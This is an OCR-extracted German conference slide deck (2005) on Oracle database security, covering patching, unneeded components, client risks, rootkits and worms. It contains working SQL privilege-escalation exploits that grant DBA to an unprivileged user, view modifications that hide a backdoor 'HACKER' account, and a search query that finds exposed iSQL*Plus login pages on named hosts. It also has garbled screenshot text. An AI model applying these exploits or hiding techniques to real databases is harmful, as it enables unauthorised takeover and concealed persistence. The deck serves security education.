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Agenda

1. Einfuhrung
2. TOP-5 Sicherheitsprobleme
3. Neue Trends

e Oracle Rootkits

e Oracle Wurmer

4. Demonstration
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Diebstahl von Daten in 2005 in den USA =l

= CardSystems (40 Mio. Kreditkartendaten)
Choiceline (1 Mio. Kreditkartendaten)

= DSW Shoe Warehouse (1.4 Mio.
Kreditkartendaten)

= HSBC North America

= 102 Vorfalle in den USA 2005 (Stand: Sept.
2005)

http://www.idtheftcenter.org/breaches.pdf
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Hotels & Datenbanksicherheit
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Oracle Sicherheit & Larry Ellison

Oracle OpenWorld 2005 [21-Sep-2005]

He [Larry Ellison] further claimed the last time an Oracle
database was broken into was 15 years ago, versus the 45
minutes he said it took for someone to break into Microsoft's first
version of its Passport online ordering system.

Quellen: http://www.internetnews.com/bus-news/article.php/3550651
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Einige Zahlen zur Oracle Sicherheit

Offiziell von Oracle korrigierte Security-Fehler
>100 (2004)
> 233 (Stand: Okt 2005)

Momentan offene Security-Probleme
>90 (versch. Security-Firmen)

Durchschnittliche Zeit bis zur Patchveroffentlichung
> 1,5 Jahre

Quellen: AppSecinc, NGSSoftware, Red-Database-Security GmbH, Argeniss, Oracle
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Security Patches ..l

= Schwierig zu installieren
= Oftmals fehlerhaft *
= Reihenfolge des Patches spielt zum Teil eine Rolle

= Zeitaufwandig

Quelle: On Security, Is Oracle the next Microsoft, http://www.eweek.com/article2/0,1895,1860159,00.asp
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Security Patches - Schutz ..l

= Moglichst wenige Komponenten installieren
= Wenn moglich Workarounds implementieren
= Regelmaldig auf neue Patchlevel updaten

= Feste Wartungstermine festlegen
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Security Patches - Beispiel ..l

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT;

COMMIT;

RETURN ";

END;

/

-- Funktion ausfuhren und DBA-Rechte erlangen
SELECT SYS.DBMS_ METADATA.GET_DDL("||SCOTT.ATTACK_FUNCO||™,")
FROM dual;

=» Losung: Patches fur Oracle Critical Patch Update April
einspielen
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Unndtige Komponenten ..l

= Oracle liefert eine Vielzahl von Optionen und Komponenten

mit aus
(CTXSYS, OLAP, MDSYS, Label Security, ...)

= Jede Komponente bedeutet ein zusatzliches Sicherheits- und
Patch-Risiko
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Unnétige Komponenten - Schutz ..l

= Minimale Features je Datenbank Installation

= Nicht benotigte Komponenten loschen oder zumindest
sperren

= Nicht benatigte Privilegien entfernen
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Unnoétige Komponenten - Beispiel

DBA werden uber gesperrte Komponente ,Oracle Text"

sqlplus scott/tiger@ora902 (oder jeder andere unprivilegierte Benutzer)
SQL> exec ctxsys.driload.validate _stmt('grant dba to scott');
BEGIN ctxsys.driload.validate stmt('grant dba to scott'); END;

ERROR at line 1:

ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed

ORA-06512: at line 1
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Oracle Client Sicherheit ..l

= > 95% aller DBA-Clients sind ungeschutzt

= Vielfach Datenbank Passworte lokal (verschlusselt /
unverschllsselt) gespeichert.

= Gegen lokalen Angriff nicht (ausreichend) gesichert
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Oracle Client Sicherheit - Schutz ..l

= Arbeitsplatze der DBAs / Systemadministratoren
zusatzlich sichern

= Verschlusselung der Festplatten

= Passworte nicht lokal abspeichern
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Oracle Client Sicherheit - Beispiel =l

= Reinigungskraft modifiziert Datei glogin.sql auf dem DBA
Client

Beim nachsten Start des Oracle Tools sqlplus, wird
beispielsweise eine Hintertur in der Datenbank installiert

= Virus modifiziert Datei glogin.sgl auf dem Rechner des
Administrators. Daraufhin werden alle Datenbanken
geloscht, an denen sich der DBA anmeldet.
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Demonstration verschiedene Sicherheitslicken ..l

= Default-Passworte
= Ungeschutzten Listener angreifen
= Security Patches nicht eingespielt

= Qracle Client Sicherheit
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Neue Trends in der Oracle Sicherheit ..l

= Oracle Rootkits

= Oracle Wurmer
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Oracle Rootkits l.l

Datenbank = Betriebssystem

Betriebssysteme und Datenbanken sind in der Architektur
ahnlich.

= Beide besitzen
= Benutzer
= Prozesse
= Jobs
= Ausfuhrbare Objekte
= Symbolische Links

=>» Eine Datenbank ist eine Art von Betriebssystem.
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Oracle Rootkits

"

OS Oracle SQL Server DB2 Postgres
Ps select * from select * from list application select * from
v$process sysprocesses pg_stat_activity
kill 1234 | alter system Kill SELECT @varl =spid | force application
session '12,55' FROM sysprocesses (1234)
WHERE
nt_username='andrew’
AND
spid<>@@spidEXEC
(kill '+@varl);
Executa | View, Package, View, Stored View, Stored View, Stored
bles Procedures and Procedures Procedures Procedures
Functions
execute | select * from select * from view; select * from view; select * from view;
view;
exec procedure execute procedure
exec procedure
cd alter session set
current_schema
=user01
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Oracle Rootkits l.l

Da eine Datenbank eine Art von Betriebssystem ist, kann
man jeder Art von Malware vom Betriebssystem auf die
Datenbank migrieren.

Folgende Konzepte sind unter anderem moglich:

= Oracle Rootkits

= Oracle Wurmer
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Oracle Rootkits l.l

= Anderungen an Datenbank-Objekten
= Unsichtbare Oracle Benutzer
= Unsichtbare Datenbank Jobs
= Unsichtbare Datenbank Prozesse

= Fur den DBA bzw. Datenbank-Tools mit den
ublichen Methoden nicht zu finden

= Ohne Software-Tools schwierig zu finden
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Datenbankbenutzer verstecken

Benutzerverwaltung in Oracle

Benutzer und Rollen werden zusammen in
der Tabelle SYS.USER$ gespeichert

Benutzer besitzen das Flag TYPE# = 1
Rollen besitzen das Flag TYPE# =0

Die Views dba_users und all_users
vereinfachen den Zugriff

Synonyme fur dba_users und all_users
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Datenbankbenutzer verstecken ..l

Beispiel: Erzeugung eins Datenbankbenutzers namens
Hacker

SQL> create user hacker 1dentified

by hacker;

SQL> grant dba to hacker;
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Datenbankbenutzer verstecken ..l

Beispiel: Anzeigen aller Datenbankbenutzer

SQL> select username from dba users;

USERNAME
SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
OUTLN
MDSYS
ORDSYS
EXFSYS
HACKER

L1
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Datenbankbenutzer verstecken ..l

Enterprise Manager (Java) Enterprise Manager (Web) Quest TOAD
ORACLE Enterprise M 10

Eenutzername Databhase i;;'serﬂrila?rpnse B o |5‘T‘5
AROMYMOLS — |
CTASYS Database: orallgd > U
DATS SCHEMA S e Tablez I Wiews I Synonyms

= Users . .
DBSMMP Folicy Groups | Frofiles I
DIF Suarch Snapzhots I Rolez
DiMsyS Name | Resource Groups I Resource
E}.{FS'-.I.-'E Torun an exact match zearch or to run a case sensiti -\.IEI"."EI I DE Links USE-'[S
FLOWS FILES Results

— = >
FLOWS_ 010500 = 0 & = v §
| a |zer
- ol B=N E}{: E .&.NDNTMDUS
HTMLDE_PUELIC_USER RElCe S S & CTHSYS
MAETEH_ S & ANONYMOUS EXPIRED
O |cTsYs EXFIRED DATA_SCHEMA

MDDATA ' DATA_SCHEMA OPEN DBSHMP
MDSY'S € DESNMP OPEN & DIP
MGMT_"-.”EW T DIE E¥PIRED a DIMSYS
MOBILEADMIMN C DMEYS EXPIRED
OLAPEYS ' EXFSYS EXPIRED i EXFSYS
ORDOPLLUGIMNG ' FLOWS 010500 LOCKED % FLOW5_010500
ORDSYS € |[FLOWS FILES LOCKED "E' FLOWS_FILES
OLUTLRM SREN .m
PUBLIC © HIMLDEALEX OPEM HTMLDBALE
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Datenbankbenutzer verstecken

| =i

Schema: |SYS j
Mame: |DE&_LSERS

— Zusatzliche Zeile an die
Validateﬂueryl e | VieW an héngen

zelect u.name. u. userf. u. password.
m.s=tatus,
decodeiu. astatus, 4, u, ltime,

E. u:ltime,

B, u.ltime,

8, u.ltine,

9, u. ltinme,

10, u.ltine, to date(HULL)).

decode{u. astatus,

u.sexptine,

2, u.exptime,

5., n.exptime.

6, u.exptime.

9, n.exptime,

10, u.exptime.

decode(u ptime, '', to_date(NULL), and rescurcelf = 1

decodei{pr. limit#, 2147483647, to date(HULL).

deﬁiiiéi?aéf’fi’f;f‘214?43354?, to_date(NULL), w.ptime + AND U HAME |= 'HACKER' _]
=

dp. limit#-864007,
u.ptime + pr.limit#- 864003305,

dts . name, tts. name. u.ctime, p.nans.
nvli{cgn. consumner group. 'DEFAULT CONSUMER GROUP' ).
u.ext_ussrhans
from =y=. user$ u left outer join =y=. resource group mapplngd cgm

on (cgm.attribute = 'ORACLE USER' and cgm.status = 'ACTIVE'

cagm,valus = uw.nams),

=y=. t=f dts, sys. t=5 tts, sys.profnaned p.

sys.user_astatus _map m, sys.profile$ pr. sys.profileg
where u.datatst = dts. tsd
and u.resource$ = p.profiled
and u.temnptsd = tt=. taf
and u.astatus = m.statusd
and u.typed = 1
and u.resource$ = pr.profilef
and dp profiled =
and dp. type#=1
and dp.rescurcei=1
and pr.typed = 1
and p gzourced =

AND U.NAME '= 'HACKER'
Show 50L | ok | Cancel |

|sys@ORATOGS | v

—— added b rntroeder
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Datenbankbenutzer verstecken

Enterprise Manager (Java)

Benutzernatme
ARIORYMOLIS
CTHEYS
DATA_SCHEMA
DESHMP
DIF
OMEYS
EXFSYS
FLOWYS FILES
FLOWS 010500
HTMLDBALEX
HTMLDE_FPUBLIC_LISER
MASTER
MODATA,

MO SYS

Enterprise Manager (Web)

Quest TOAD

Database: orallgs = Lsers

Users

Search

Marme I

To run an exact match zearch or to run & case sensi

Results

Select UserName / Account
& ANONYMOUS EXPIRED
€ |CTXSYS EXPIRED
' DATA _SCHEMA OPERN
T DESHMP OPER
DR EXPIRED
. DMEYS EXPIRED
0 EESYS EXPIRED
C FLOWS 0105800 LOCKED
' [ELOWS FILES LOCKED
C HTMLDBALEX OPERN
(.

HTMLDE _PUBLIC _USER OPEN

[svs

|x

T ables I Wiewms I Synonyms
Folicy Groups I Profiles |
Shapshots I Roles
Resource Groupz I Resource
Java I DE Links Users

D & B v §

| lzer

d AMOMYMOUS

dh CTHEYS
DATA_SCHEMA,
DESHMP

& DIP

dh DMSYS

dh EXFSYS

&b FLOWS_010500

% FLOWS_FILES

HTMLDBALEX
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Datenbankbenutzer verstecken ..l

TOAD benutzt die View ALL _USERS anstatt der DBA USERS.
Deshalb ist der Benutzer HACKER immer noch sichtbar.

. BLL_USERS ¥Yiew Infa - 10| x|

Schema:; | 575 j
Mame: [|ALL_LUSERS

Source | Yiew Info I Comments I

Walidate Queny | Format Cluerny |

zelect u.name, u.userf. u.ctimne
from svs users u, =svs. t=8 dts, =svs t=5% tts
whers u.datats# = dt=s. t=#
and u.tempt=sf = tt=. t=#
d y tvpef = 1
AHD T _HAME |= 'HACHEEZ} ——FTTET O 1o frinTer
Show 50L | 0K e
\SYS@EORAT0GE | g
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Datenbankbenutzer verstecken ..l

Nun ist der Benutzer auch in TOAD verschwunden...

BE -]
Ix

Folicy Groups I Frafiles I Falicies I Ruollback Segments | T ablespaces I Librariez
Snhapzhotz I Raoles I Favarites I Snapzhot Logz I Dimenzionz
Fezource Groups I Rezource Plans I Sys Privs I Clhizters I Refrezh Gmupsl Recycle Bin
Tablez I Wigts i S_I,Inunymsi Procs I Triggersl Inde:-:esl Ennstraintsl Sequences
Java I DE Links Us=ers IJDbS I Types I [ueue Tal:ulesl E!ueuesl Directones

B OB E v e B &

a |Jger |

dl ANONYMOLUS

&b CT=5YS
DATA_SCHEMA
DESMMP

& DIF

dh DMSYS

dl ExFSYS

dZ FLOWS_00500

& FLOW/S_FILES
HTMLOBALE=
HTMLDE_PUEBLIC_USER
MASTER
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Oracle Rootkits l.l

= Alle Oracle Datenbanken sollten regelmaldig auf
Veranderungen der Struktur hin uberpruft werden.

Red-Database-Security €]51le]g Alexander Kornbrust, 18-Okt-2005 V1.02 39



Datenbank Wurmer =l

= Das erste Mal wurden Datenbank Wurmer von Aaron Newman
beschrieben.

= SQL Slammer war der erste weit verbreitete Datenbankwurm,
der ungepatchte MS SQL Server Datenbanken betraf.

= Oracle Wurmer sind bisher noch nicht aufgetaucht, fur viele ist
es jedoch nur eine Frage der Zeit, bis Wurmer auch fur Oracle
Datenbanken auftauchen.

= Das Schadenspotential eines solchen Wurms ware riesig.
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Oracle Wiurmer ...

Oracle Wurmer konnen auf folgenden Architekturen basieren
= Oracle Clients
= Application Server

= Fehlerhaften Oracle Services
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Oracle Wilrmer — basierend auf Oracle Client ..l

Mogliche Architektur
= Windows Wurm mit Oracle Payload
= Ausnutzen der Oracle Client Startup Dateien

= Ausnutzen von Default-Passworten / Dictionary Attack
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Oracle Wiurmer — basierend auf Application Servern ..l

Suchen potentielle Opfer mit Hilfe von Suchmaschinen
e Anwendungen mit SQL Injection Lucken
e Anwendungen mit Buffer Overflow Lucken

e Dringen von der Anwendung heraus in weitere Systeme ein
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Oracle Wiurmer — basierend auf Application Servern i

http://www.google.com/search? g=intitle%3AiSQL+intitle%3ARelease+inurl%3A
isqlplus+intitle%3A9.2.0.1&btnG=Search

Web Images Groups MNews Froogle Local™™ morew

GO L_)Sle Iintitle:iSQL intitle-Release inurl-isglplus intitle:9. ~ Search | w

Web Results 1 -7 of about 9 for intitle:iSQL intitle:Release inurl:isqglplus intitle:9.2.0.1. (0.13 seconds)

|»

Tip: Save time by hitting the return key instead of clicking on "search”

iSQL"Plus Release 9.2.0.1.0 Production: Login

iISQL*Plus logo. Help. Help. Login. Username:. Password:. Connection Ildentifier:.
oracle.unc.edu.

https:/foraclient.unc.edu/isglplus - 3k - Cached - Similar pages

iSQL"Plus Release 9.2.0.1.0 Production: Login

iISQL*Plus logo. Help. Help. Login. Username:. Password:. Connection Identifier:
https:/fhelot.cs.cf.ac.ukfisglplus - 3k - Cached - Similar pages

[ More results from https:/thelot.cs.cfac.uk ]

iSQL"Plus Release 9.2.0.1.0 Production: Login

iISAL*Plus logo. Help. Help. Login. Username:. Password:. Connection Identifier:.
DBUSER, DVOLUSER., DVOLEXP.

sweb2._dal devry_edufisqlplus/ - 3k - Cached - Similar pages

iSQL"Plus Release 9.2.0.1.0 Production: Anmelden - [ Translate this page ]
iISQAL*Plus logo. Hilfe. Hilfe. Anmelden. Benutzername:. Kennwort:. Connect-String:
robinie.informatik.rwth-aachen.de:7783/isqlplus - 3k - Cached - Similar pages

iSQL"Plus Release 9.2.0.1.0 Production: Entrar em Sesso - [ Translate this page ] o
iISQL*Plus logo. Auxilio. Auxilio. Entrar em Sessdo. Nome de Utilizador:. Senha:.

ldentificador de Ligacdo:

193.137.44 68/isqlplus - 4k - Cached - Similar pages

iSQL"Plus Release 9.2.0.1.0 Production: Work Screen

Wark Screen. File or URL: Enter statements: select user_constraints. table_name,

column_name, constraint_type from user_constraints ...
student.cob.ohiou.edu/sa287001/Website/iSQALPlus%20Release%209_2_0_1_0%20Production%20Work%20Screen.htm - 23k -
Supplemental Result - Cached - Similar pages

iSQL"Plus Release 9.2.0.1.0 Production: Login
Login. Username: Password: Connection ldentifier: MIS380.
mis380.cob.ohiou.edufisglplus - 3k - Supplemental Result - Cached - Similar pages
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Oracle Wirmer — Basierend auf fehlerhaften Services ..l

Angriff der Datenbanken durch fehlerhaften
Implementierung von Oracle Datenbank Services, z.B.
TNS-Listener, ONS, ...

= Ahnliche Gefahr der schnellen Ausbreitung wie SQL-
Slammer
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F&A l..

Fragen & Antworten
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